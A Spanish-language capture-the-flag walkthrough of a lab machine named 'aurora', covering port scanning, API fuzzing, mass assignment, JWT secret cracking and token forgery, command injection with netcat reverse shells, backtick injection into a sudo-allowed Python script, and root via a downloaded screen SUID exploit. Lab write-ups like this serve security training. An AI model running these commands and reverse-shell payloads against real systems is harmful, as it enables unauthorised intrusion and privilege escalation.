Comenzamos con un escaneo de puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.31
❯ nmap -sCV -p22,3000 -oN 02-targeted.txt 192.168.1.31
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-03 22:49 -03
Nmap scan report for 192.168.1.31
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 db:f9:46:e5:20:81:6c:ee:c7:25:08:ab:22:51:36:6c (RSA)
| 256 33:c0:95:64:29:47:23:dd:86:4e:e6:b8:07:33:67:ad (ECDSA)
|_ 256 be:aa:6d:42:43:dd:7d:d4:0e:0d:74:78:c1:89:a1:36 (ED25519)
3000/tcp open http Node.js Express framework
|_http-title: Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.54 secondsEnumeramos la API (con peticiones POST):
❯ gobuster dir -u http://192.168.1.31:3000/ -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -m POST -r
...
/login (Status: 401) [Size: 22]
/register (Status: 400) [Size: 29]
/Login (Status: 401) [Size: 22]
/Register (Status: 400) [Size: 29]
/execute (Status: 401) [Size: 12]
/LogIn (Status: 401) [Size: 22]
/LOGIN (Status: 401) [Size: 22]
...Fuzzeamos los campos JSON de /register y vemos que acepta un atributo role (mass assignment):
❯ ffuf -u http://192.168.1.31:3000/register -X POST -H "Content-Type: application/json" -d '{"role":"FUZZ"}' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/api/objects-lowercase.txt
...
admin [Status: 401, Size: 16, Words: 3, Lines: 1, Duration: 31ms]
user [Status: 500, Size: 32, Words: 5, Lines: 1, Duration: 52ms]
...Registramos un usuario y obtenemos un JWT al iniciar sesión:
❯ curl -X POST http://192.168.1.31:3000/register -H "Content-Type: application/json" -d '{"role":"user"}'
Column 'username' cannot be null
❯ curl -X POST http://192.168.1.31:3000/register -H "Content-Type: application/json" -d '{"username":"admin","role":"user"}'
Username already exists
❯ curl -X POST http://192.168.1.31:3000/register -H "Content-Type: application/json" -d '{"username":"pwned","password":"1234","role":"user"}'
Registration OK
❯ curl -X POST http://192.168.1.31:3000/login -H "Content-Type: application/json" -d '{"username":"pwned","password":"1234","role":"user"}'
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InB3bmVkIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MDk1MTk5MzR9.qYFPMbLujQYh1d24oYjTwmwwYPXM_jJdAdSDCq6GPmI"}Para forjar un token de admin, primero crackeamos el secreto del JWT con john:
❯ john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt jwt_hash
...
nopassword (?)
...Con el secreto nopassword generamos en jwt.io un token con role: admin:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzA5NTE5OTM0fQ.47U7LpOez6J-dRTZPlGWAcz3ZwUTj0K6lAqQFthPK9MFuzzeamos el campo del endpoint /execute y damos con command:
❯ ffuf -u http://192.168.1.31:3000/execute -X POST -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzA5NTE5OTM0fQ.47U7LpOez6J-dRTZPlGWAcz3ZwUTj0K6lAqQFthPK9M" -d '{"FUZZ":"id"}' -w ~/Documentos/wordlists/rockyou.txt -fs 913
...
command [Status: 200, Size: 54, Words: 3, Lines: 2, Duration: 134ms]
...Confirmamos RCE y lanzamos una reverse shell:
❯ curl -X POST http://192.168.1.31:3000/execute -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzA5NTE5OTM0fQ.47U7LpOez6J-dRTZPlGWAcz3ZwUTj0K6lAqQFthPK9M" -d '{"command":"id"}'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
❯ curl -X POST http://192.168.1.31:3000/execute -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzA5NTE5OTM0fQ.47U7LpOez6J-dRTZPlGWAcz3ZwUTj0K6lAqQFthPK9M" -d '{"command":"nc 192.168.1.10 1234 -e /bin/bash"}'Para movernos al usuario doro, revisamos sudo -l:
www-data@aurora:/home/doro$ sudo -l
Matching Defaults entries for www-data on aurora:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on aurora:
(doro) NOPASSWD: /usr/bin/python3 /home/doro/tools.py *El script tools.py sanitiza algunos símbolos pero no las comillas invertidas (`), así que inyectamos una reverse shell por ahí:
www-data@aurora:/tmp$ sudo -u doro python3 /home/doro/tools.py --ping
Enter an IP address: `nc 192.168.1.10 4321 -e /bin/bash`Obtenemos una shell como doro y la primera flag. Para escalar, buscamos binarios SUID:
doro@aurora:~$ find / -perm -4000 2>/dev/null
...
/usr/bin/screen
...screen con SUID es explotable; usamos el exploit screen2root:
doro@aurora:/tmp$ wget https://raw.githubusercontent.com/XiphosResearch/exploits/master/screen2root/screenroot.sh
doro@aurora:/tmp$ chmod +x screenroot.sh
doro@aurora:/tmp$ ./screenroot.sh
...
[+] done!
...Obtenemos una shell de root y capturamos la flag.
Fin.